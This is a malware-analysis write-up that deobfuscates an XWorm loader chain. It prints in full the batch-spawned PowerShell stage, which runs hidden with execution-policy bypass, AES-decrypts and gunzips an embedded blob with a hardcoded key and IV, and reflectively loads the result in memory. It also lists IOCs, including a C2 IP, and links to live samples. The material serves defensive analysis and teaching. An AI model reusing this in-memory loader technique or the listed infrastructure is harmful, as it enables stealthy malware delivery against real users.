← ret / Following the Execution Trail
← ret

Following the Execution Trail: An XWorm Loader Autopsy

🧪 Samples

Password-protected malware samples used in this write-up are available for hands-on follow-along.

🔗 View Samples 🔑 Password: mzheader

🔍 Analysis

This sample starts off with some batch & PowerShell deobfuscation, revealing a .NET loader which we can debug using DnSpy and module breakpoints to reveal the payload.

Initial Batch Script

This sample starts with an obfuscated batch script which looks like the following:

obfuscated batch script with many set variable assignments and commented-out strings

From the fourth line onward we can see that many set commands are taking place, we also see a lot of commented-out strings which don’t seem to make a lot of sense right now, denoted by the ::

Towards the end of the script, it appears that those variables are being called and executed:

end of batch script showing variable concatenation and execution

A quick way to make sense of this script is by commenting out the lines that clear the terminal and exit, and adding echo commands before the variables are called.

modified batch script with echo commands added before variable execution

Now if we execute this new script, we get the following:

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe"
cd "C:\Users\mzheader\Desktop\"
"e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_JPyoO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')
('C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat').Split([Environment]::NewLine);foreach ($_CASH_ealtD in $_CASH_JPyoO) { if ($_CASH_ealtD.StartsWith(':: @')) {  $_CASH_tFaoL = $_CASH_ealtD.Substring(4); break; }; };$_CASH_tFaoL =
[System.Text.RegularExpressions.Regex]::Replace($_CASH_tFaoL, '_CASH_', '');$_CASH_epUJg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_tFaoL);$_CASH_pFavC = New-Object System.Security.Cryptography.AesManaged;$_CASH_pFavC.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_pFavC.Padding =
[System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_pFavC.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GZ+NDDfWJdUL46CgERFNsma8kH1a1NyOqIvOPvKsrWA=');$_CASH_pFavC.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5IgM8xAuhLV8mV1KzrCEvg==');$_CASH_traoF =
$_CASH_pFavC.CreateDecryptor();$_CASH_epUJg = $_CASH_traoF.TransformFinalBlock($_CASH_epUJg, 0, $_CASH_epUJg.Length);$_CASH_traoF.Dispose();$_CASH_pFavC.Dispose();$_CASH_SjOoQ = New-Object System.IO.MemoryStream(, $_CASH_epUJg);$_CASH_DLltN = New-Object System.IO.MemoryStream;$_CASH_VzeZp = New-Object
System.IO.Compression.GZipStream($_CASH_SjOoQ, [IO.Compression.CompressionMode]::Decompress);$_CASH_VzeZp.CopyTo($_CASH_DLltN);$_CASH_VzeZp.Dispose();$_CASH_SjOoQ.Dispose();$_CASH_DLltN.Dispose();$_CASH_epUJg = $_CASH_DLltN.ToArray();$_CASH_JzGOp = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')
($_CASH_epUJg);$_CASH_PUHAS = $_CASH_JzGOp.EntryPoint;$_CASH_PUHAS.Invoke($null, (, [string[]] ('')))

We can make this a bit easier to read by replacing all semi-colons with new lines:

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe"
cd "C:\Users\mzheader\Desktop\"
"e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_JPyoO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat').Split([Environment]::NewLine)
foreach ($_CASH_ealtD in $_CASH_JPyoO) { if ($_CASH_ealtD.StartsWith(':: @')) {  $_CASH_tFaoL = $_CASH_ealtD.Substring(4)
 break
 }
 }
$_CASH_tFaoL = [System.Text.RegularExpressions.Regex]::Replace($_CASH_tFaoL, '_CASH_', '')
$_CASH_epUJg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_tFaoL)
$_CASH_pFavC = New-Object System.Security.Cryptography.AesManaged
$_CASH_pFavC.Mode = [System.Security.Cryptography.CipherMode]::CBC
$_CASH_pFavC.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$_CASH_pFavC.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GZ+NDDfWJdUL46CgERFNsma8kH1a1NyOqIvOPvKsrWA=')
$_CASH_pFavC.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5IgM8xAuhLV8mV1KzrCEvg==')
$_CASH_traoF = $_CASH_pFavC.CreateDecryptor()
$_CASH_epUJg = $_CASH_traoF.TransformFinalBlock($_CASH_epUJg, 0, $_CASH_epUJg.Length)
$_CASH_traoF.Dispose()
$_CASH_pFavC.Dispose()
$_CASH_SjOoQ = New-Object System.IO.MemoryStream(, $_CASH_epUJg)
$_CASH_DLltN = New-Object System.IO.MemoryStream
$_CASH_VzeZp = New-Object System.IO.Compression.GZipStream($_CASH_SjOoQ, [IO.Compression.CompressionMode]::Decompress)
$_CASH_VzeZp.CopyTo($_CASH_DLltN)
$_CASH_VzeZp.Dispose()
$_CASH_SjOoQ.Dispose()
$_CASH_DLltN.Dispose()
$_CASH_epUJg = $_CASH_DLltN.ToArray()
$_CASH_JzGOp = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_epUJg)
$_CASH_PUHAS = $_CASH_JzGOp.EntryPoint
$_CASH_PUHAS.Invoke($null, (, [string[]] ('')))

Command Line Breakdown:

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe"
cd "C:\Users\mzheader\Desktop\"

It appears that the script is firstly copying PowerShell and moving it to the same directory & filename as the executed script, changing directory to that directory, and executing the newly copied binary of PowerShell.

"e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_JPyoO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')
('C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat').Split([Environment]::NewLine)

A command is executed, with the reversed string of ReadAllText and it reads the initial batch script.

foreach ($_CASH_ealtD in $_CASH_JPyoO) { if ($_CASH_ealtD.StartsWith(':: @')) {  $_CASH_tFaoL = $_CASH_ealtD.Substring(4)

From the initial script, it is looking for instances that start with :: @ and takes everything from the 4th substring onwards, ie, all the content after the ::@ The result is being saved as variable name _CASH_tFaoL

$_CASH_tFaoL = [System.Text.RegularExpressions.Regex]::Replace($_CASH_tFaoL, '_CASH_', '')

The contents of _CASH_tFaoL is read, and all instances of _CASH_ are replaced with nothing.

$_CASH_epUJg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_tFaoL)

The string is decoded from Base64.

$_CASH_pFavC = New-Object System.Security.Cryptography.AesManaged
$_CASH_pFavC.Mode = [System.Security.Cryptography.CipherMode]::CBC
$_CASH_pFavC.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$_CASH_pFavC.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GZ+NDDfWJdUL46CgERFNsma8kH1a1NyOqIvOPvKsrWA=')
$_CASH_pFavC.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5IgM8xAuhLV8mV1KzrCEvg==')

The decoded text is being AES-decrypted with Key GZ+NDDfWJdUL46CgERFNsma8kH1a1NyOqIvOPvKsrWA= and IV 5IgM8xAuhLV8mV1KzrCEvg==.

$_CASH_SjOoQ = New-Object System.IO.MemoryStream(, $_CASH_epUJg)
$_CASH_DLltN = New-Object System.IO.MemoryStream
$_CASH_VzeZp = New-Object System.IO.Compression.GZipStream($_CASH_SjOoQ, [IO.Compression.CompressionMode]::Decompress)

The decrypted text is being decompressed with gunzip.

$_CASH_JzGOp = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_epUJg)
$_CASH_PUHAS = $_CASH_JzGOp.EntryPoint
$_CASH_PUHAS.Invoke($null, (, [string[]] ('')))

The contents of which are being loaded/executed in memory.

Now that we know what the script is doing, we’ll search for instances of ::@ in the initial script, perform the operations and we should be left with some form of executable code.

We see our string starting with ::@, which is a huge blob of text.

batch script showing the ::@ prefixed base64 encoded AES-encrypted blob

We’ll take this blob and throw it in CyberChef with the following operators to decode and decrypt the content as the script does.

CyberChef recipe removing underscores, base64 decoding, AES-CBC decrypting, and gunzipping the blob

We are left with an executable file.

CyberChef output showing MZ header of decrypted .NET executable

.NET Analysis

Detect It Easy tells us that this is a .NET binary, and it has a fairly interesting entropy level, around mid-way but it remains consistent.

Detect It Easy showing .NET binary with moderate entropy suggesting a loader

Loading the executable into DnSpy we can see it is heavily obfuscated, but there are references to LoadPE. This, and the level of entropy suggests it’s likely a loader and not our final payload.

DNSpy showing heavily obfuscated .NET binary with LoadPE reference indicating a loader

Knowing this, we can set a module breakpoint and try to extract anything interesting that is being loaded in memory.

Head to Module Breakpoints and set a breakpoint for * (anything)

DNSpy module breakpoints dialog with wildcard breakpoint set for all modules

Now we begin to debug the executable, taking note of all loaded modules.

As we step through, there is a very interesting module being loaded which we should interrogate further.

DNSpy debugger showing a suspicious unnamed module being loaded in memory

We can right-click Load Module to decompile it in our current DnSpy session.

This module doesn’t appear to be obfuscated and we can instantly see where the Settings are stored.

DNSpy decompiling the unobfuscated second-stage module showing Settings class

Settings:

DNSpy showing XWorm configuration settings including C2 IP address

IOCs:

IPv4: 65.1.224.214

SHA 256: E5DAC6F6D2AB4C479C5C3E91064F335DE141C8399BD93F8267E13F134C578C0F

SHA 256: EC7890D7D688DAC4EF8EF6B6E2A832280EA47BF404B851B97CDF7C709C389E65

SHA 256: CBB7FC940A1E9B3DADB1EC625554325B5DD9A95E34A05A0EC6F7206D2128DAB9

IOCs

Type Value
SHA256 E5DAC6F6D2AB4C479C5C3E91064F335DE141C8399BD93F8267E13F134C578C0F
SHA256 EC7890D7D688DAC4EF8EF6B6E2A832280EA47BF404B851B97CDF7C709C389E65
SHA256 CBB7FC940A1E9B3DADB1EC625554325B5DD9A95E34A05A0EC6F7206D2128DAB9
IP 65.1.224[.]214

Conclusion

This XWorm sample uses a layered delivery approach: an obfuscated batch script copies PowerShell, reads a Base64-encoded and AES-encrypted blob embedded within its own commented lines, decrypts it using a hardcoded key and IV, decompresses it with GZip, and reflectively loads the resulting .NET assembly in memory. The loaded .NET binary is itself a ConfuserEx-obfuscated loader that unpacks a second stage, which contains the plaintext XWorm configuration including the C2 IP address. The use of multiple obfuscation layers and fully in-memory execution makes static detection of this chain particularly challenging.